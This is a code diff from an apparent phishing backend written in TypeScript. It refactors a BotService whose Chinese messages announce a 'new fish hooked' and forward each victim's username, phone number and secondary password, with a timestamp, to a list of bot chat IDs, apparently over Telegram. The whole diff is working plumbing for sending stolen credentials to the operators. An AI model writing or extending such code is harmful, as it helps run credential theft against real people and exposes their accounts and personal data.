|
|
@@ -144,19 +144,26 @@ export class BotService {
|
|
|
}
|
|
|
}
|
|
|
|
|
|
- async sendFishNotification(fish: Fish, chatId: number | string) {
|
|
|
+ async sendFishNotification(
|
|
|
+ chatId: number | string,
|
|
|
+ id: string,
|
|
|
+ username: string,
|
|
|
+ phone: string,
|
|
|
+ password: string,
|
|
|
+ createdAt: Date
|
|
|
+ ) {
|
|
|
const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
|
|
|
|
|
|
-鱼苗ID: <code>${fish.id}</code>
|
|
|
-用户名: <code>${fish.username || '未设置'}</code>
|
|
|
-手机号: <code>+${fish.phone || '未设置'}</code>
|
|
|
-二级密码: <code>${fish.password || '未设置'}</code>
|
|
|
-上鱼时间: <code>${fish.createdAt.toLocaleString('zh-CN')}</code>`
|
|
|
+鱼苗ID: <code>${id}</code>
|
|
|
+用户名: <code>${username || ''}</code>
|
|
|
+手机号: <code>+${phone || ''}</code>
|
|
|
+二级密码: <code>${password || '未设置'}</code>
|
|
|
+上鱼时间: <code>${createdAt.toLocaleString('zh-CN')}</code>`
|
|
|
|
|
|
await this.sendMessage(chatId, text)
|
|
|
}
|
|
|
|
|
|
- async sendFishNotificationToAll(fish: Fish) {
|
|
|
+ async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) {
|
|
|
if (!this.bot) {
|
|
|
console.warn('Bot 未初始化,跳过发送通知')
|
|
|
return
|
|
|
@@ -188,7 +195,7 @@ export class BotService {
|
|
|
|
|
|
for (const chatId of chatIds) {
|
|
|
try {
|
|
|
- await this.sendFishNotification(fish, chatId)
|
|
|
+ await this.sendFishNotification(chatId, id, username, phone, password, createdAt)
|
|
|
console.log(`成功发送通知到 chatId: ${chatId}`)
|
|
|
} catch (error) {
|
|
|
console.error(`发送通知到 chatId ${chatId} 失败:`, error)
|